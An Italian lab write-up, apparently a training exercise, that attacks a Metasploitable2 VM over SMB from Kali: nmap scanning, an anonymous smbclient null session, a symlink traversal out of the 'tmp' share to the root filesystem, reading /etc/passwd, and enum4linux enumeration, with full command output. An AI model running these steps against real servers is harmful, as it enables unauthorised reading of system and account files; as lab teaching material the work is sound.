

Null session e ARP Poisoning

Parte 2

Sommario

Traccia esercizio.....	1
Svolgimento esercizio	2
1. Verifica della connettività tra le due macchine con indirizzo IP statico	2
2. Scansione delle porte SMB con `nmap`	2
3. Enumerazione delle condivisioni SMB con `smbclient`	2
5. Creazione di un symlink e accesso alla cartella `/etc`	3
6. Lettura del file `passwd`	4
7. Esecuzione di `enum4linux` per ulteriori informazioni	4

Traccia esercizio

Leggere il file `/etc/passwd` sul target Metasploitable sfruttando la vulnerabilità NULL Session di SMB con il tool `smbclient`.

Testare anche il comando: `enum4linux`.

Svolgimento esercizio

1. Verifica della connettività tra le due macchine con indirizzo IP statico

La macchina attaccante usa Kali Linux con l'indirizzo IP 192.168.50.100, mentre la macchina target è Metasploitable2 con l'indirizzo IP 192.168.50.101.

Si verifica la connettività tra le due macchine con il comando ping: **ping 192.168.50.101**

```
(kali㉿kali)-[~]
$ ping 192.168.50.101
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of data:
 64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=9.24 ms
 64 bytes from 192.168.50.101: icmp_seq=2 ttl=64 time=0.976 ms
 64 bytes from 192.168.50.101: icmp_seq=3 ttl=64 time=6.67 ms
 64 bytes from 192.168.50.101: icmp_seq=4 ttl=64 time=0.766 ms
 64 bytes from 192.168.50.101: icmp_seq=5 ttl=64 time=4.90 ms
 64 bytes from 192.168.50.101: icmp_seq=6 ttl=64 time=7.92 ms
 64 bytes from 192.168.50.101: icmp_seq=7 ttl=64 time=7.34 ms
 64 bytes from 192.168.50.101: icmp_seq=8 ttl=64 time=3.19 ms
 64 bytes from 192.168.50.101: icmp_seq=9 ttl=64 time=0.764 ms
 64 bytes from 192.168.50.101: icmp_seq=10 ttl=64 time=0.886 ms
 64 bytes from 192.168.50.101: icmp_seq=11 ttl=64 time=6.33 ms
 64 bytes from 192.168.50.101: icmp_seq=12 ttl=64 time=7.32 ms
 64 bytes from 192.168.50.101: icmp_seq=13 ttl=64 time=2.61 ms
^C
--- 192.168.50.101 ping statistics ---
13 packets transmitted, 13 received, 0% packet loss, time 12635ms
rtt min/avg/max/mdev = 0.764/4.532/9.238/3.000 ms
```

2. Scansione delle porte SMB con `nmap`

Ora, si verifica se il servizio SMB è attivo sulla macchina target scansionando le porte 139 e 445 con nmap:

nmap -p 139,445 192.168.50.101

```
(kali㉿kali)-[~]
$ nmap -p 139,445 192.168.50.101
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-16 22:25 CEST
Nmap scan report for 192.168.50.101
Host is up (0.0029s latency).

```

PORT	STATE	SERVICE
139/tcp	open	netbios-ssn
445/tcp	open	microsoft-ds

```
MAC Address: 08:00:27:DB:7F:AE (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
```

Questo conferma che il servizio SMB è attivo sulla macchina Metasploitable2, e si può procedere con l'enumerazione.

3. Enumerazione delle condivisioni SMB con `smbclient`

Ora, usando smbclient, si effettua una NULL session (senza autenticazione) per elencare le condivisioni SMB disponibili sulla macchina target.

Il comando utilizzato è: **smbclient -L //192.168.50.101 -N**

```
(kali㉿kali)-[~]
$ smbclient -L //192.168.50.101 -N
Anonymous login successful

  Sharename      Type            Comment
  -----
  print$         Disk            Printer Drivers
  tmp            Disk            oh noes!
  opt            Disk
  IPC$           IPC            IPC Service (metasploitable server (Samba 3.0.20-Debian))
  ADMIN$         IPC            IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

  Server      Comment
  -----
  WORKGROUP   Master
  WORKGROUP   METASPLOITABLE
```

La condivisione tmp è quella di interesse perché è accessibile senza autenticazione.

5. Creazione di un symlink e accesso alla cartella `/etc`

Dopo aver identificato la condivisione tmp, ci si connette ad essa con smbclient:

smbclient //192.168.50.101/tmp -N

Una volta connessi, si crea un symlink per risalire la gerarchia delle directory fino alla root del file system. Il comando per creare il symlink è: **symlink ../../../../../../../ Tizio1**

Questo comando crea un collegamento simbolico chiamato Tizio che punta alla root del file system. Ora si accede al symlink con: **cd Tizio1**

In questo modo, ci si trova nella root del file system della macchina Metasploitable2.

Una volta dentro la root del file system, è possibile accedere alla directory `/etc` e leggere il file `passwd`


```
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> posix
Server supports CIFS extensions 1.0
Server supports CIFS capabilities acls pathnames
smb: /> posix
Server supports CIFS extensions 1.0
Server supports CIFS capabilities acls pathnames
smb: /> symlink ../../../../../../../ Tizio1
smb: /> cd Tizio1
smb: /Tizio1/> ls
.                DR          0   Sun May 20 20:36:12 2012
..               DR          0   Sun May 20 20:36:12 2012
initrd           DR          0   Tue Mar 16 23:57:40 2010
media           DR          0   Tue Mar 16 23:55:52 2010
bin             DR          0   Mon May 14 05:35:33 2012
lost+found       DR          0   Tue Mar 16 23:55:15 2010
mnt             DR          0   Wed Apr 28 22:16:56 2010
sbin            DR          0   Mon May 14 03:54:53 2012
initrd.img       R 7929183   Mon May 14 05:35:56 2012
home            DR          0   Fri Apr 16 08:16:02 2010
lib             DR          0   Mon May 14 05:35:22 2012
usr             DR          0   Wed Apr 28 06:06:37 2010
proc            DR          0   Wed Oct 16 19:56:29 2024
root            DR          0   Wed Oct 16 19:57:05 2024
sys             DR          0   Wed Oct 16 19:56:29 2024
boot            DR          0   Mon May 14 05:36:28 2012
nohup.out       R 45476    Wed Oct 16 19:57:05 2024
etc             DR          0   Wed Oct 16 19:56:43 2024
dev             DR          0   Wed Oct 16 19:56:38 2024
vmlinuz         R 1987288   Thu Apr 10 18:55:41 2008
opt             DR          0   Tue Mar 16 23:57:39 2010
var             DR          0   Wed Mar 17 15:08:23 2010
cdrom           DR          0   Tue Mar 16 23:55:51 2010
tmp             D          0   Wed Oct 16 21:14:43 2024
srv             DR          0   Tue Mar 16 23:57:38 2010
ACCESS DENIED listing
7282168 blocks of size 1024. 5425608 blocks available
smb: /Tizio1/> cd etc
smb: /Tizio1/etc/> █
```

6. Lettura del file `passwd`

Per visualizzare il file direttamente da smbclient, si usa il comando more: **more passwd**

Il file contiene informazioni sugli utenti, come nome, UID, GID, home directory e shell di login.

```
ssl                                DR      0   Wed Mar 17 15:07:45 2010
logrotate.d                       DR      0   Wed Apr 28 08:51:22 2010
console-setup                     DR      0   Wed Mar 17 00:01:09 2010
postgresql                        DR      0   Wed Mar 17 15:08:46 2010
hostname                          R       15   Wed Apr 28 21:06:10 2010
blkid.tab.old                     R       530   Wed Apr 28 23:06:29 2010
ucf.conf                          R      1260   Thu Feb 21 07:22:25 2008
mailcap.order                     R       449   Tue Apr 1 20:11:34 2008
idmapd.conf                       R      145   Tue Dec 2 19:30:07 2008
deluser.conf                      R       600   Tue Oct 23 17:01:59 2007
w3m                               DR      0   Wed Mar 17 00:11:47 2010
default                           DR      0   Thu Sep 12 02:44:36 2024
profile.d                         DR      0   Tue Apr 15 07:53:59 2008
blkid.tab                         R       530   Wed Apr 28 23:06:29 2010
sgml                              DR      0   Tue Mar 23 22:57:47 2010
hosts                             R      277   Wed Apr 28 21:23:06 2010
locale.alias                      R     2586   Tue Mar 11 12:02:33 2008
issue                             R       583   Sun May 20 21:06:39 2012
X11                               DR      0   Sun May 20 20:44:51 2012
bind                              DR      0   Wed Mar 17 15:19:18 2010
jvm                               R      294   Mon May 8 12:56:10 2006
kernel-img.conf                  R      240   Wed Mar 17 00:12:54 2010
groff                             DR      0   Wed Mar 17 00:11:39 2010
terminfo                         DR      0   Tue Mar 16 23:59:27 2010
shells                           R      181   Mon May 14 05:35:03 2012
mailname                          R      27   Wed Apr 28 23:19:15 2010
ssh                              DR      0   Wed Apr 28 22:03:52 2010
passwd                           R     1581   Mon May 14 03:54:55 2012
cowpoke.conf                     R     1878   Sun May 4 16:57:33 2008
at.deny                           R      144   Tue Feb 20 13:41:00 2007
hosts.equiv                      R      121   Sun May 20 20:31:27 2012
pam.d                            DR      0   Sun May 20 20:33:58 2012
timezone                         R      11   Wed Mar 17 00:01:21 2010
unreal                           DR      0   Sun May 20 20:17:22 2012
group                            R     886   Fri Apr 16 11:18:16 2010
bash_completion.d               DR      0   Wed Apr 28 06:55:16 2010
xinetd.conf                      R      289   Sun May 20 20:14:31 2012

7282168 blocks of size 1024. 5425608 blocks available
smb: /Tizio1/etc/> 
```

```
kali@kali: ~
File Actions Edit View Help

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcpc:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
/tmp/smbmore.pl3iG (END)
```

Anche se il file `passwd` non contiene le password criptate (che si trovano in `shadow`), fornisce comunque preziose informazioni sugli utenti del sistema.

7. Esecuzione di `enum4linux` per ulteriori informazioni

Per ottenere ulteriori informazioni di enumerazione SMB, si usa lo strumento `enum4linux`. Questo strumento automatizza il processo di raccolta di informazioni da macchine vulnerabili tramite SMB.

Il comando da eseguire per una scansione completa è: **enum4linux -a 192.168.50.101**

L'opzione `-a` esegue tutti i controlli disponibili su ****enum4linux****, inclusi:

- L'enumerazione degli utenti
- Le condivisioni SMB
- Le informazioni di configurazione del sistema

```
kali@kali: ~/Desktop
File Actions Edit View Help

user:[list] rid:[0x434]
user:[irc] rid:[0x436]
user:[ftp] rid:[0x4be]
user:[tomcat55] rid:[0x4c4]
user:[sync] rid:[0x3f0]
user:[uucp] rid:[0x3fc]

===== ( Share Enumeration on 192.168.50.101 ) =====

Sharename      Type      Comment
-----
print$         Disk     Printer Drivers
tmp            Disk     oh noes!
opt            Disk
IPC$           IPC      IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN$         IPC      IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.

Server          Comment
-----
Workgroup       Master
WORKGROUP      METASPLOITABLE

[+] Attempting to map shares on 192.168.50.101
//192.168.50.101/print$ Mapping: DENIED Listing: N/A Writing: N/A
//192.168.50.101/tmp Mapping: OK Listing: OK Writing: N/A
//192.168.50.101/opt Mapping: DENIED Listing: N/A Writing: N/A

[E] Can't understand response:
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
//192.168.50.101/IPC$ Mapping: N/A Listing: N/A Writing: N/A
//192.168.50.101/ADMIN$ Mapping: DENIED Listing: N/A Writing: N/A

===== ( Password Policy Information for 192.168.50.101 ) =====
```